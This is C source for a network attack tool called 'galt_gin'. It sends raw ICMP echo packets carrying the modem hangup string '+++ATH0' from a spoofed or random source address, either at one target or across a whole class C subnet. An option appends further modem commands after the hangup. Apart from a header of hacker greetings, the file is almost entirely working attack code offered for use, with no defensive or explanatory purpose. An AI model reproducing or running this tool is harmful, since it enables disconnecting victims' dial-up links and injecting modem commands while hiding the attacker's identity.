/* * galt_gin.c by galt (galt@cowofdoom.com) * * amputee had some very interesting ideas of things to do in his gin.c * exploit. I decided to write something to do those things. * * this does the gin exploit thingy to one host or a subnet * it allows you to specify a command for the modem on the command line * stuff * hehe * * code/ideas from gin.c, ping.c, and papasmurf-linux.c * * http://galt.cowofdoom.com/ * * greets or whatever to: DrHamstuh, CowOfDoom, ralf, viralcode, * TripWire, undernet #hackphreak for being really boring hehe, * and undernet #teenchat for being a good place to waste * time sometimes or something hehe */ #include #include #include #include #include #include #include #include #define DEFDATASIZE 9 // "+++ATH0\r" and the null #define DEFDELAY 10 #define BUFSIZE 80 char target[BUFSIZE],source[BUFSIZE],thestring[BUFSIZE]; int subnetmode=0; int datasize=DEFDATASIZE; int mcommand=0; int delay=DEFDELAY; unsigned long doresolve(char *stuff); static int in_cksum(u_short *addr, int len); void docmdline(int argc,char **argv); int main(int argc,char **argv) { int tmp; unsigned long src,dst; int sockfd,pktsize; char *packet; struct sockaddr_in sin; struct iphdr *ip; struct icmphdr *icmp; char *data; docmdline(argc,argv); srand(time(NULL)*getpid()); if(*source) src = doresolve(source); else src = rand(); dst = doresolve(target); if( (sockfd = socket(AF_INET,SOCK_RAW,IPPROTO_RAW))<0) { fprintf(stderr,"couldnt open raw socket\n"); exit(1); } sin.sin_port = htons(0); sin.sin_family = AF_INET; sin.sin_addr.s_addr = src; pktsize = sizeof(struct iphdr)+sizeof(struct icmphdr)+datasize; if( (packet = (char *)malloc(pktsize))==(char *)NULL) { fprintf(stderr,"couldnt malloc packet\n"); exit(1); } ip = (struct iphdr *)packet; icmp = (struct icmphdr *)(packet + sizeof(struct iphdr)); data = (char *)(packet + sizeof(struct iphdr)+sizeof(struct icmphdr)); memset(packet,0,pktsize); ip->version = 4; ip->ihl = 5; ip->tos = 0; ip->tot_len = htons(pktsize); ip->id = htons(getpid()); ip->frag_off = 0; ip->ttl = 255; ip->protocol = IPPROTO_ICMP; ip->check = 0; ip->saddr = src; ip->daddr = dst; icmp->type = ICMP_ECHO; icmp->code = 0; icmp->checksum = 0; strcpy(data,"+++ATH0\r"); if(mcommand) { strcat(data,thestring); strcat(data,"\r"); } icmp->checksum = in_cksum((u_short *)icmp,sizeof(struct icmphdr)+datasize); if(!subnetmode) { if( (sendto(sockfd,packet,pktsize,0,(struct sockaddr *)&sin,sizeof(struct sockaddr)) )==-1) { printf("sendto failed\n"); } else { printf("."); } } else { for(tmp=0;tmp<256;tmp++) { ip->daddr += 1*256*256*256; ip->check = 0; if( (sendto(sockfd,packet,pktsize,0,(struct sockaddr *)&sin,sizeof(struct sockaddr)) )==-1) { printf("sendto failed\n"); break; } printf("."); fflush(stdout); } } printf("\ndone\n"); return 0; } unsigned long doresolve(char *stuff) { struct hostent *heh; unsigned long hi; hi = inet_addr(stuff); if(hi==-1) { heh = gethostbyname(stuff); if(!heh) { fprintf(stderr,"I can't resolve \"%s\"\n",stuff); exit(1); } return (unsigned long)heh->h_addr; } return hi; } /* * in_cksum -- * Checksum routine for Internet Protocol family headers (C Version) */ static int in_cksum(u_short *addr, int len) { register int nleft = len; register u_short *w = addr; register int sum = 0; u_short answer = 0; /* * Our algorithm is simple, using a 32 bit accumulator (sum), we add * sequential 16 bit words to it, and at the end, fold back all the * carry bits from the top 16 bits into the lower 16 bits. */ while (nleft > 1) { sum += *w++; nleft -= 2; } /* mop up an odd byte, if necessary */ if (nleft == 1) { *(u_char *)(&answer) = *(u_char *)w ; sum += answer; } /* add back carry outs from top 16 bits to low 16 bits */ sum = (sum >> 16) + (sum & 0xffff); /* add hi 16 to low 16 */ sum += (sum >> 16); /* add carry */ answer = ~sum; /* truncate to 16 bits */ return(answer); } void docmdline(int argc,char **argv) { int optch,showhelp=0,stuff=0; static char optstring[] = "S:shm:d:"; while( (optch = getopt(argc,argv,optstring))!= -1) switch(optch) { case 'S': if(strlen(optarg)>BUFSIZE-1) { fprintf(stderr,"source can only be %d characters\n",BUFSIZE); exit(1); } strcpy(source,optarg); break; case 's': subnetmode=1; break; case 'm': mcommand=1; if(strlen(optarg)>BUFSIZE-1) { fprintf(stderr,"command can only be %d characters\n",BUFSIZE); exit(1); } strcpy(thestring,optarg); datasize += strlen(thestring)+2; break; case 'd': delay = strtol(optarg,(char **)NULL,10); if(errno==ERANGE) { fprintf(stderr,"bogus delay value (using default)\n"); delay = DEFDELAY; } break; case 'h': showhelp=1; break; default: } for (; optind < argc; ++optind) { stuff=1; if(strlen(argv[optind])>BUFSIZE-3) { // for ".0" fprintf(stderr,"source can only be %d characters\n",BUFSIZE); exit(1); } strcpy(target,argv[optind]); if(subnetmode) strcat(target,".0"); } if(!stuff) showhelp=1; if(showhelp) { printf("usage: gin [-S ] [-s] [-m ] \n"); printf("\t -S specfies a source host (defaults to random)\n"); printf("\t -s turns on subnet mode, dest is interpreted as a class c (1.2.3)\n"); printf("\t -m adds another modem command after the hang up\n"); printf("\t -d delay in ms between sent packets\n"); exit(0); } }